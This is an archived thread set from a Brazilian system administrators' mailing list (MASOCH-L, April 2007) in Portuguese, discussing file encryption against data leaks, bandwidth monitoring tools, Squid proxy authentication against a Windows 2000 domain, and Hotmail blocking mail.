Date: Tue, 10 Apr 2007 09:09:41 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
Message-ID: <461B7E85.1080206@ucs.br>

http://www.truecrypt.org

Filipe Alvarez escreveu:
> Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
>
> Por?m para dificultar o vazamento de dados da empresa, gostaria
> de implantar algum sistema de "criptografia" nos arquivos, de
> forma que se ele for acessado de alguma m?quina que n?o seja
> as da rede interna, o conte?do dos arquivos nao fique exposto.
>
> Alguem conhe?e alguma solu??o?
>
> Grato,
> Filipe.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com



From warlinux at yahoo.com.br  Tue Apr 10 09:34:41 2007
From: warlinux at yahoo.com.br (Nelson R. Estevam Junior)
Date: Tue, 10 Apr 2007 05:34:41 -0700 (PDT)
Subject: [MASOCH-L] Res:  moitoramento de link
Message-ID: <511740.53028.qm@web50709.mail.re2.yahoo.com>

Usa o cacti deve te atender muito bem, que al?m de monitorar link, pode monitorar diversar coisas nos servers.

www.cacti.net

Vale a pena testar.

Falow


----- Mensagem original ----
De: Paulo Leandro Rosa <polgo at bol.com.br>
Para: masoch-l at eng.registro.br
Cc: gter at eng.registro.br
Enviadas: Ter?a-feira, 10 de Abril de 2007 8:28:19
Assunto: [MASOCH-L] moitoramento de link

Bom dia a todos da lista

Pessoal gostaria de ajuda de voceis trabalho em um provedor de internet
e temos a seguinte situa??o:

temos algumas maquinas "coloquetion" em nosso datacenter e queremos
medir a quantidade de banda que cada maquina dessa usa, j? testamos o
mrtg funciona mais ele n?o da a quantidade final de Mega utilizado no
per?odo de 30 dias queria sabe se algu?m sabe de alguma ferramenta que
fa?a essa trabalho de  medi??o

grato pela aten??o de todos
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l






__________________________________________________
Fale com seus amigos  de gra?a com o novo Yahoo! Messenger 
http://br.messenger.yahoo.com/ 

From filipealvarez at gmail.com  Tue Apr 10 09:35:28 2007
From: filipealvarez at gmail.com (Filipe Alvarez)
Date: Tue, 10 Apr 2007 09:35:28 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <461B7E85.1080206@ucs.br>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<461B7E85.1080206@ucs.br>
Message-ID: <3e542ead0704100535w53b29430i68e042d3fa05c037@mail.gmail.com>

Obrigado, vou analisar as duas solu??es.

Filipe.

Em 10/04/07, Jeronimo Zucco <jczucco at ucs.br> escreveu:
>
> http://www.truecrypt.org
>
> Filipe Alvarez escreveu:
> > Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
> >
> > Por?m para dificultar o vazamento de dados da empresa, gostaria
> > de implantar algum sistema de "criptografia" nos arquivos, de
> > forma que se ele for acessado de alguma m?quina que n?o seja
> > as da rede interna, o conte?do dos arquivos nao fique exposto.
> >
> > Alguem conhe?e alguma solu??o?
> >
> > Grato,
> > Filipe.
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
>
>
> --
> Jeronimo Zucco
> LPIC-1 Linux Professional Institute Certified
> N?cleo de Processamento de Dados
> Universidade de Caxias do Sul
>
> http://jczucco.blogspot.com
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From aquino at ecosistemas.com.br  Tue Apr 10 09:49:58 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Tue, 10 Apr 2007 09:49:58 -0300
Subject: [MASOCH-L] moitoramento de link
In-Reply-To: <461B74D3.9060101@bol.com.br>
References: <461A7730.2070601@coslinux.com.br> <461B74D3.9060101@bol.com.br>
Message-ID: <461B87F6.40201@ecosistemas.com.br>

voce deve usar o ipac-ng



Paulo Leandro Rosa escreveu:
> Bom dia a todos da lista
>
> Pessoal gostaria de ajuda de voceis trabalho em um provedor de internet
> e temos a seguinte situa??o:
>
> temos algumas maquinas "coloquetion" em nosso datacenter e queremos
> medir a quantidade de banda que cada maquina dessa usa, j? testamos o
> mrtg funciona mais ele n?o da a quantidade final de Mega utilizado no
> per?odo de 30 dias queria sabe se algu?m sabe de alguma ferramenta que
> fa?a essa trabalho de  medi??o
>
> grato pela aten??o de todos
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   




From danton at inexo.com.br  Tue Apr 10 09:56:08 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Tue, 10 Apr 2007 09:56:08 -0300 (BRT)
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704100953310.22865@newquantum.inexo.com.br>

On Tue, 10 Apr 2007, Filipe Alvarez wrote:

> Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
>
> Por?m para dificultar o vazamento de dados da empresa, gostaria
> de implantar algum sistema de "criptografia" nos arquivos, de
> forma que se ele for acessado de alguma m?quina que n?o seja
> as da rede interna, o conte?do dos arquivos nao fique exposto.

humm, acho que voc? est? misturando canais. ao cifrar arquivos (ou 
sistemas de arquivos inteiros) voc? n?o os est? expondo para esta ou 
?quela rede, mas para quem tem a chave que abre (decifra) os arquivos. 
como todos os funcion?rios que precisar?o lidar com os arquivos precisar?o 
ter acesso a tal chave, creio que a criptografia n?o resolve o problema de 
poss?vel vazamento.



From filipealvarez at gmail.com  Tue Apr 10 10:02:57 2007
From: filipealvarez at gmail.com (Filipe Alvarez)
Date: Tue, 10 Apr 2007 10:02:57 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <Pine.LNX.4.60.0704100953310.22865@newquantum.inexo.com.br>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<Pine.LNX.4.60.0704100953310.22865@newquantum.inexo.com.br>
Message-ID: <3e542ead0704100602p6c464c24y297e6638a09d8591@mail.gmail.com>

No caso os usu?rios n?o teriam acesso a chave.
Isso seria previamente configurado (no software) para
que a encripta??o seja transparente ao usu?rio.

Filipe.

Em 10/04/07, Lao DanTong <danton at inexo.com.br> escreveu:
>
> On Tue, 10 Apr 2007, Filipe Alvarez wrote:
>
> > Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
> >
> > Por?m para dificultar o vazamento de dados da empresa, gostaria
> > de implantar algum sistema de "criptografia" nos arquivos, de
> > forma que se ele for acessado de alguma m?quina que n?o seja
> > as da rede interna, o conte?do dos arquivos nao fique exposto.
>
> humm, acho que voc? est? misturando canais. ao cifrar arquivos (ou
> sistemas de arquivos inteiros) voc? n?o os est? expondo para esta ou
> ?quela rede, mas para quem tem a chave que abre (decifra) os arquivos.
> como todos os funcion?rios que precisar?o lidar com os arquivos precisar?o
> ter acesso a tal chave, creio que a criptografia n?o resolve o problema de
> poss?vel vazamento.
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From rafaelpossa at gmail.com  Tue Apr 10 10:45:58 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Tue, 10 Apr 2007 10:45:58 -0300
Subject: [MASOCH-L] moitoramento de link
References: <461A7730.2070601@coslinux.com.br> <461B74D3.9060101@bol.com.br>
Message-ID: <004401c77b76$9397b960$0200a8c0@OASIS>

Opa,

    N?o sei se ? uma boa id?ia para a sua situa??o, mas al?m de usar esses 
softwares indicados voc? poderia por um servidor funcionando como roteador 
'na frente' das m?quinas de co-location e a? voc? tem liberdade pra fazer o 
que precisar. N?o sei muito bem como ? o contrato nesse tipo de servi?o, mas 
talvez possa funcionar.


Rafael


----- Original Message ----- 
From: "Paulo Leandro Rosa" <polgo at bol.com.br>
To: <masoch-l at eng.registro.br>
Cc: <gter at eng.registro.br>
Sent: Tuesday, April 10, 2007 8:28 AM
Subject: [MASOCH-L] moitoramento de link


Bom dia a todos da lista

Pessoal gostaria de ajuda de voceis trabalho em um provedor de internet
e temos a seguinte situa??o:

temos algumas maquinas "coloquetion" em nosso datacenter e queremos
medir a quantidade de banda que cada maquina dessa usa, j? testamos o
mrtg funciona mais ele n?o da a quantidade final de Mega utilizado no
per?odo de 30 dias queria sabe se algu?m sabe de alguma ferramenta que
fa?a essa trabalho de  medi??o

grato pela aten??o de todos
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From hamilton at i2.com.br  Tue Apr 10 10:50:20 2007
From: hamilton at i2.com.br (Hamilton Vera)
Date: Tue, 10 Apr 2007 10:50:20 -0300 (BRT)
Subject: [MASOCH-L] moitoramento de link
In-Reply-To: <461B74D3.9060101@bol.com.br>
References: <461A7730.2070601@coslinux.com.br> <461B74D3.9060101@bol.com.br>
Message-ID: <Pine.LNX.4.63.0704101048330.32654@lima.i2.com.br>


http://cacti.net/

E o termo que o pessoal da area comercial usa ? colocation.

Boa sorte,

Intel!

Hamilton Vera - Linux Powered - Anti Spam Policy
int Administrator (char Network[],char ComputationalSystems[]);
Seven Internet http://lib.seven.com.br
Linux User #338927
"Google is my shepherd, no want shall I know"

On Tue, 10 Apr 2007, Paulo Leandro Rosa wrote:

> Bom dia a todos da lista
>
> Pessoal gostaria de ajuda de voceis trabalho em um provedor de internet
> e temos a seguinte situa??o:
>
> temos algumas maquinas "coloquetion" em nosso datacenter e queremos
> medir a quantidade de banda que cada maquina dessa usa, j? testamos o
> mrtg funciona mais ele n?o da a quantidade final de Mega utilizado no
> per?odo de 30 dias queria sabe se algu?m sabe de alguma ferramenta que
> fa?a essa trabalho de  medi??o
>
> grato pela aten??o de todos
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>

From hamilton at i2.com.br  Tue Apr 10 10:55:14 2007
From: hamilton at i2.com.br (Hamilton Vera)
Date: Tue, 10 Apr 2007 10:55:14 -0300 (BRT)
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100602p6c464c24y297e6638a09d8591@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<Pine.LNX.4.60.0704100953310.22865@newquantum.inexo.com.br>
	<3e542ead0704100602p6c464c24y297e6638a09d8591@mail.gmail.com>
Message-ID: <Pine.LNX.4.63.0704101053200.32654@lima.i2.com.br>

Mesmo assim, ? s? o usu?rio gerar uma c?pia local do arquivo.

Se ajudar em algo...

http://www.microsoft.com/technet/security/prodtech/windows2000/w2kccadm/dataprot/w2kadm21.mspx


On Tue, 10 Apr 2007, Filipe Alvarez wrote:

> No caso os usu?rios n?o teriam acesso a chave.
> Isso seria previamente configurado (no software) para
> que a encripta??o seja transparente ao usu?rio.
>
> Filipe.
>
> Em 10/04/07, Lao DanTong <danton at inexo.com.br> escreveu:
>>
>> On Tue, 10 Apr 2007, Filipe Alvarez wrote:
>>
>>> Pessoal, utilizo o Windows 2000 como servidor aqui na empresa.
>>>
>>> Por?m para dificultar o vazamento de dados da empresa, gostaria
>>> de implantar algum sistema de "criptografia" nos arquivos, de
>>> forma que se ele for acessado de alguma m?quina que n?o seja
>>> as da rede interna, o conte?do dos arquivos nao fique exposto.
>>
>> humm, acho que voc? est? misturando canais. ao cifrar arquivos (ou
>> sistemas de arquivos inteiros) voc? n?o os est? expondo para esta ou
>> ?quela rede, mas para quem tem a chave que abre (decifra) os arquivos.
>> como todos os funcion?rios que precisar?o lidar com os arquivos precisar?o
>> ter acesso a tal chave, creio que a criptografia n?o resolve o problema de
>> poss?vel vazamento.
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>

From danton at inexo.com.br  Tue Apr 10 11:16:05 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Tue, 10 Apr 2007 11:16:05 -0300 (BRT)
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100602p6c464c24y297e6638a09d8591@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<Pine.LNX.4.60.0704100953310.22865@newquantum.inexo.com.br>
	<3e542ead0704100602p6c464c24y297e6638a09d8591@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704101109490.30836@newquantum.inexo.com.br>

On Tue, 10 Apr 2007, Filipe Alvarez wrote:

> No caso os usu?rios n?o teriam acesso a chave.
> Isso seria previamente configurado (no software) para
> que a encripta??o seja transparente ao usu?rio.

isso ? equivalente a n?o haver criptografia alguma, s? vale para o sistema 
de arquivo desmontado, isto te defende do caso do HD ser roubado, como 
costuma ser o caso em discos de backup, mas ? meio in?til contra o xereta 
interno. qual ?, afinal, o prop?sito de cifrar os arquivos?


From rubens.marins at gmail.com  Tue Apr 10 11:22:55 2007
From: rubens.marins at gmail.com (Rubens Marins)
Date: Tue, 10 Apr 2007 11:22:55 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
Message-ID: <4fe8c9440704100722l30376f0vdc9cae2fa018d898@mail.gmail.com>

> Por?m para dificultar o vazamento de dados da empresa, gostaria
> de implantar algum sistema de "criptografia" nos arquivos, de
> forma que se ele for acessado de alguma m?quina que n?o seja
> as da rede interna, o conte?do dos arquivos nao fique exposto.

Eu acho que voc? esta usando o rem?dio de uma doen?a em outra.

Criptografia de dados no disco , ? para evitar o  roubo ou perda do
hardware que contenha os dados , ou mesmo o simples acesso ao servidor
permita que os dados sejam visualizados.

Se voce quiser evitar que alguem de fora da rede acesse os dados,
voc? deve refor?ar a  seguran?a d a rede e n?o nos dados fisicos no
servidor. J? que um acesso externo n?o autorizado a rede , normalmente
se faz passar por um acesso autorizado, assim a solu??o de
criptografia vai confiar que aquele ? um acesso v?lido aos dados e
entregar o ouro para os bandidos.

Quanto ao "vazar" informa??es da empresa, voc? deve se preocupar
tamb?m com pessoas de dentro da empresa enviando dados para fora. Em
resumo, uma tarefa ?rdua.



-- 
Rubens Marins
Administrador de Sistemas
rubens.marins at gmail dot com


From rubens.marins at gmail.com  Tue Apr 10 11:31:51 2007
From: rubens.marins at gmail.com (Rubens Marins)
Date: Tue, 10 Apr 2007 11:31:51 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
In-Reply-To: <4fe8c9440704100722l30376f0vdc9cae2fa018d898@mail.gmail.com>
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<4fe8c9440704100722l30376f0vdc9cae2fa018d898@mail.gmail.com>
Message-ID: <4fe8c9440704100731w6b7b866fsafe345651c3d72a4@mail.gmail.com>

Um lembrete importante, se voc? usar a ferramenta "built-in" do
win2000 para criptografar arquivos e perder o sistema operacional , ou
a senha de administrador, pode dar adi?s aos dados criptografados,
colocar aquele disco para ser lido em outro windows n?o vai permitir
que voce leia os dados.
Somente o sistema que criptografou os dados originalmente ? capaz de
ler os arquivos.

Ou seja, ningu?m com um minimo de ju?zo implementaria isso em produ??o.




-- 
Rubens Marins
Administrador de Sistemas
rubens.marins at gmail dot com


From rafaelpossa at gmail.com  Tue Apr 10 12:20:33 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Tue, 10 Apr 2007 12:20:33 -0300
Subject: [MASOCH-L] OFF-TOPIC - Arquivos criptografados
References: <3e542ead0704100411v63b831bbo2c9842e56aed7f6@mail.gmail.com>
	<4fe8c9440704100722l30376f0vdc9cae2fa018d898@mail.gmail.com>
Message-ID: <002e01c77b83$ca3ce870$0200a8c0@OASIS>

No sua situa??o eu colocaria o servidor com estes dados confidenciais sem 
acesso pela internet, somente lan e com o maior n?mero de limita??es 
poss?veis no sistema operacional e no firewall da m?quina, al?m de 
restringir acesso local. Pode custar caro, mas tudo tem um pre?o.

Em casa eu deixo todos os micros numa lan atr?s de um roteador "bem 
fechado", com um iptables e acesso a servi?os somente com libera??o no 
roteador do link, no port-forward do roteador da rede e no iptables do 
micro. Fica bem mais chato, mas ? isso, nunca tive grandes problemas.

O que vc vai conseguir fazer, no meu ver, ? diminuir bastante as 
possibilidades de invas?o ou algo do tipo, mas quem est? na chuva vai se 
molhar, ent?o seguran?a 100% n?o existe a partir do momento que mais pessoas 
al?m de voc? v?o ter acesso ao sistema. Isso sem contar os desastres tipo 
uma perda de um HD.



Rafael


----- Original Message ----- 
From: "Rubens Marins" <rubens.marins at gmail.com>
To: "Mail Aid and Succor, On-line Comfort and Help" 
<masoch-l at eng.registro.br>
Sent: Tuesday, April 10, 2007 11:22 AM
Subject: Re: [MASOCH-L] OFF-TOPIC - Arquivos criptografados


> Por?m para dificultar o vazamento de dados da empresa, gostaria
> de implantar algum sistema de "criptografia" nos arquivos, de
> forma que se ele for acessado de alguma m?quina que n?o seja
> as da rede interna, o conte?do dos arquivos nao fique exposto.

Eu acho que voc? esta usando o rem?dio de uma doen?a em outra.

Criptografia de dados no disco , ? para evitar o  roubo ou perda do
hardware que contenha os dados , ou mesmo o simples acesso ao servidor
permita que os dados sejam visualizados.

Se voce quiser evitar que alguem de fora da rede acesse os dados,
voc? deve refor?ar a  seguran?a d a rede e n?o nos dados fisicos no
servidor. J? que um acesso externo n?o autorizado a rede , normalmente
se faz passar por um acesso autorizado, assim a solu??o de
criptografia vai confiar que aquele ? um acesso v?lido aos dados e
entregar o ouro para os bandidos.

Quanto ao "vazar" informa??es da empresa, voc? deve se preocupar
tamb?m com pessoas de dentro da empresa enviando dados para fora. Em
resumo, uma tarefa ?rdua.



-- 
Rubens Marins
Administrador de Sistemas
rubens.marins at gmail dot com
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From wagnerpaxs at gmail.com  Tue Apr 10 13:00:52 2007
From: wagnerpaxs at gmail.com (Wagner)
Date: Tue, 10 Apr 2007 16:00:52 +0000
Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
Message-ID: <c3a114bb0704100900o50e87c21yaea7dc4ff3ebffa4@mail.gmail.com>

Ol? Lista,

Andei pesquisando bastante achei muitos exemplos mas apenas com SQUID
autenticando em Windows 2003 Server, por?m as configura??es sugeridas n?o
funcionaram aqui para o Windows 2000 Server. J? tentei usando smb e ntlm.

Abra?os!

-- 
Wagner Santos
81 9127 9823 / 87 8807 3970

wagnerpaxs at gmail.com
wagner at dotlinux.net
ICQ: 83709017 | Jabber: xwindow at jabber.org

DotLinux.Net - http://www.dotlinux.net/
Debian-PE    - http://pe.debianbrasil.org/


From cpereira at unisc.br  Tue Apr 10 13:47:58 2007
From: cpereira at unisc.br (Cristiano Maynart Pereira)
Date: Tue, 10 Apr 2007 13:47:58 -0300
Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
Message-ID: <642A062A3EA5004EB84EBD1D34C1C54C8D3D2F@sun78.unisc.br>


Ol? Wagner,

J? utilizei com Windows 2000 e funciona, inclusive de modo transparente e acl por grupos do AD.

Abaixo segue um link que me ajudou na ?poca que implementei:
http://www.ccl-br.com.br/artigos/auth_squid_samba_winbind.htm

Aconselho voc? a utilizar as vers?es do Samba e Squid do tutorial que ir? seguir pois mudam alguns par?metros. Se tiver problemas, acompanhe os logs (access.log e cache.log) pois muitas vezes s?o necess?rios alguns ajustes de permiss?es, etc.



Cristiano Maynart Pereira

 

> -----Original Message-----
> From: masoch-l-bounces at eng.registro.br 
> [mailto:masoch-l-bounces at eng.registro.br] On Behalf Of Wagner
> Sent: ter?a-feira, 10 de abril de 2007 13:01
> To: masoch-l at eng.registro.br
> Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
> 
> Ol? Lista,
> 
> Andei pesquisando bastante achei muitos exemplos mas apenas 
> com SQUID autenticando em Windows 2003 Server, por?m as 
> configura??es sugeridas n?o funcionaram aqui para o Windows 
> 2000 Server. J? tentei usando smb e ntlm.
> 
> Abra?os!
> 
> --
> Wagner Santos
> 81 9127 9823 / 87 8807 3970
> 
> wagnerpaxs at gmail.com
> wagner at dotlinux.net
> ICQ: 83709017 | Jabber: xwindow at jabber.org
> 
> DotLinux.Net - http://www.dotlinux.net/
> Debian-PE    - http://pe.debianbrasil.org/
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 
> 



From wagnerpaxs at gmail.com  Tue Apr 10 15:05:57 2007
From: wagnerpaxs at gmail.com (Wagner)
Date: Tue, 10 Apr 2007 18:05:57 +0000
Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
In-Reply-To: <642A062A3EA5004EB84EBD1D34C1C54C8D3D2F@sun78.unisc.br>
References: <642A062A3EA5004EB84EBD1D34C1C54C8D3D2F@sun78.unisc.br>
Message-ID: <c3a114bb0704101105u509036e0tbd347fd939b57b23@mail.gmail.com>

Legal, vou fazer o teste e qualquer coisa informo na lista.
Obrigado!

Em 10/04/07, Cristiano Maynart Pereira <cpereira at unisc.br> escreveu:
>
>
> Ol? Wagner,
>
> J? utilizei com Windows 2000 e funciona, inclusive de modo transparente e
> acl por grupos do AD.
>
> Abaixo segue um link que me ajudou na ?poca que implementei:
> http://www.ccl-br.com.br/artigos/auth_squid_samba_winbind.htm
>
> Aconselho voc? a utilizar as vers?es do Samba e Squid do tutorial que ir?
> seguir pois mudam alguns par?metros. Se tiver problemas, acompanhe os logs (
> access.log e cache.log) pois muitas vezes s?o necess?rios alguns ajustes
> de permiss?es, etc.
>
>
>
> Cristiano Maynart Pereira
>
>
>
> > -----Original Message-----
> > From: masoch-l-bounces at eng.registro.br
> > [mailto:masoch-l-bounces at eng.registro.br] On Behalf Of Wagner
> > Sent: ter?a-feira, 10 de abril de 2007 13:01
> > To: masoch-l at eng.registro.br
> > Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
> >
> > Ol? Lista,
> >
> > Andei pesquisando bastante achei muitos exemplos mas apenas
> > com SQUID autenticando em Windows 2003 Server, por?m as
> > configura??es sugeridas n?o funcionaram aqui para o Windows
> > 2000 Server. J? tentei usando smb e ntlm.
> >
> > Abra?os!
> >
> > --
> > Wagner Santos
> > 81 9127 9823 / 87 8807 3970
> >
> > wagnerpaxs at gmail.com
> > wagner at dotlinux.net
> > ICQ: 83709017 | Jabber: xwindow at jabber.org
> >
> > DotLinux.Net - http://www.dotlinux.net/
> > Debian-PE    - http://pe.debianbrasil.org/
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> >
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Wagner Santos
81 9127 9823 / 87 8807 3970

wagnerpaxs at gmail.com
wagner at dotlinux.net
ICQ: 83709017 | Jabber: xwindow at jabber.org

DotLinux.Net - http://www.dotlinux.net/
Debian-PE    - http://pe.debianbrasil.org/


From aristeu.jr at gmail.com  Tue Apr 10 15:11:58 2007
From: aristeu.jr at gmail.com (Aristeu Gil Alves Jr)
Date: Tue, 10 Apr 2007 15:11:58 -0300
Subject: [MASOCH-L] Aparentemente normal (Era: Postfix nao entrega para
	Hotmail)
In-Reply-To: <461B186A.9010508@rodeios.com>
References: <461B186A.9010508@rodeios.com>
Message-ID: <2c84c1de0704101111leff0e1dt9c1d28b3f231faea@mail.gmail.com>

Eu estava OK, fora a Brt ter inserido nosso bloco novamente em uma
lista de IPs din?micos (dessa vez a PBL da spamhouse). Mais ou menos
na mesma ?poca o hotmail passou a nos bloquear.

Fiz a remo??o pelo spamhouse (sorte que a spamhouse ? eficiente na resposta)
e fiz contato com o suporte do hotmail (algo realmente burocr?tico e
complicado). Fora a demora, o pessoal do suporte  ficou me respondendo
que eu tinha acessar o site http://domains.live.com/, servi?o da
microsoft que vende dom?nios virtuais (um absurdo).

Enfim, uma semana depois o hotmail passou a funcionar. Baseado nisso,
tenho duas teorias. Ou hotmail usa o PBL da spamhouse, atualizado de
tempos em tempos, ou eles mudaram as pol?ticas depois de muita
reclama??o, pois de acordo com as respostas do suporte, a coisa n?o
andaria n?o... Isto no meu caso.


Abs!


Em 10/04/07, Hermann Wecke<hermann at rodeios.com> escreveu:
> Depois de seguir a dica do Pina [1], ler a mensagem do Frederick [2] e
> comparar a resposta que eu recebi com a recebida pelo Rafael [3], eu
> corrigi um ?nico "erro" no SPF (~all ao inv?s de -all) e enviei v?rias
> "amostras" dos emails para o email de contato, avisando o suporte do
> Hotmail.
>
> Aparentemente voltou ao normal, com as mensagens sendo entregues aos
> destinat?rios. Espero que continue assim por algum tempo pelo menos!
>
> [1] http://eng.registro.br/pipermail/masoch-l/2007-March/004192.html
> [2] http://eng.registro.br/pipermail/masoch-l/2007-March/004199.html
> [3] http://eng.registro.br/pipermail/masoch-l/2007-March/004221.html
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Aristeu Gil Alves Jr


From gcmessina at yahoo.com  Tue Apr 10 17:06:04 2007
From: gcmessina at yahoo.com (Glaucia C. Messina)
Date: Tue, 10 Apr 2007 13:06:04 -0700 (PDT)
Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
Message-ID: <286697.77777.qm@web37306.mail.mud.yahoo.com>

Wagner,

Eu utilizo s? inserindo estes parametros no squid.conf, sem a necessidade de instala??es de outros softwares:


auth_param basic program /usr/local/libexec/squid/squid_ldap_auth -b
"ou=usersgroup, dc=meudominio, dc=com, dc=br" -h 192.168.1.XX

-D "cn=user_acesso_AD, dc=meudominio, dc=com, dc=br" -w
"senha_user_acesso_AD" -f "sAMAccountName=%s" -v 3

auth_param basic children 5

auth_param basic realm Insira seu login e senha

auth_param basic credentialsttl 5 minutes

[],
Glaucia


----- Original Message ----
From: Wagner <wagnerpaxs at gmail.com>
To: "Mail Aid and Succor, On-line Comfort and Help" <masoch-l at eng.registro.br>
Sent: Tuesday, April 10, 2007 3:05:57 PM
Subject: Re: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server

Legal, vou fazer o teste e qualquer coisa informo na lista.
Obrigado!

Em 10/04/07, Cristiano Maynart Pereira <cpereira at unisc.br> escreveu:
>
>
> Ol? Wagner,
>
> J? utilizei com Windows 2000 e funciona, inclusive de modo transparente e
> acl por grupos do AD.
>
> Abaixo segue um link que me ajudou na ?poca que implementei:
> http://www.ccl-br.com.br/artigos/auth_squid_samba_winbind.htm
>
> Aconselho voc? a utilizar as vers?es do Samba e Squid do tutorial que ir?
> seguir pois mudam alguns par?metros. Se tiver problemas, acompanhe os logs (
> access.log e cache.log) pois muitas vezes s?o necess?rios alguns ajustes
> de permiss?es, etc.
>
>
>
> Cristiano Maynart Pereira
>
>
>
> > -----Original Message-----
> > From: masoch-l-bounces at eng.registro.br
> > [mailto:masoch-l-bounces at eng.registro.br] On Behalf Of Wagner
> > Sent: ter?a-feira, 10 de abril de 2007 13:01
> > To: masoch-l at eng.registro.br
> > Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
> >
> > Ol? Lista,
> >
> > Andei pesquisando bastante achei muitos exemplos mas apenas
> > com SQUID autenticando em Windows 2003 Server, por?m as
> > configura??es sugeridas n?o funcionaram aqui para o Windows
> > 2000 Server. J? tentei usando smb e ntlm.
> >
> > Abra?os!
> >
> > --
> > Wagner Santos
> > 81 9127 9823 / 87 8807 3970
> >
> > wagnerpaxs at gmail.com
> > wagner at dotlinux.net
> > ICQ: 83709017 | Jabber: xwindow at jabber.org
> >
> > DotLinux.Net - http://www.dotlinux.net/
> > Debian-PE    - http://pe.debianbrasil.org/
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> >
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Wagner Santos
81 9127 9823 / 87 8807 3970

wagnerpaxs at gmail.com
wagner at dotlinux.net
ICQ: 83709017 | Jabber: xwindow at jabber.org

DotLinux.Net - http://www.dotlinux.net/
Debian-PE    - http://pe.debianbrasil.org/
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l





       
____________________________________________________________________________________
Don't pick lemons.
See all the new 2007 cars at Yahoo! Autos.
http://autos.yahoo.com/new_cars.html 


From edison at coslinux.com.br  Tue Apr 10 18:05:32 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Tue, 10 Apr 2007 14:05:32 -0700
Subject: [MASOCH-L] SQUID Autenticando em PDC Windows 2000 Server
In-Reply-To: <c3a114bb0704100900o50e87c21yaea7dc4ff3ebffa4@mail.gmail.com>
References: <c3a114bb0704100900o50e87c21yaea7dc4ff3ebffa4@mail.gmail.com>
Message-ID: <461BFC1C.4000304@coslinux.com.br>

Wagner escreveu:
> Ol? Lista,
>
> Andei pesquisando bastante achei muitos exemplos mas apenas com SQUID
> autenticando em Windows 2003 Server, por?m as configura??es sugeridas n?o
> funcionaram aqui para o Windows 2000 Server. J? tentei usando smb e ntlm.
>
> Abra?os!
>
>   
Wagner,

Para depurar o problema, abra um terminal como root e digite:

/usr/lib/squid/smb_auth -W SEU_DOM?NIO -d

Ent?o digite um usu?rio e senha v?lido do seu dom?nio Windows e ele ir? 
exibir cada uma das tarefas que ele verifica.

Se o retorno final for um OK o squid permitir? o acesso do usu?rio, se 
for ERR n?o!

Qual distribui??o voc? est? utilizando?

[ ] 's

Edison



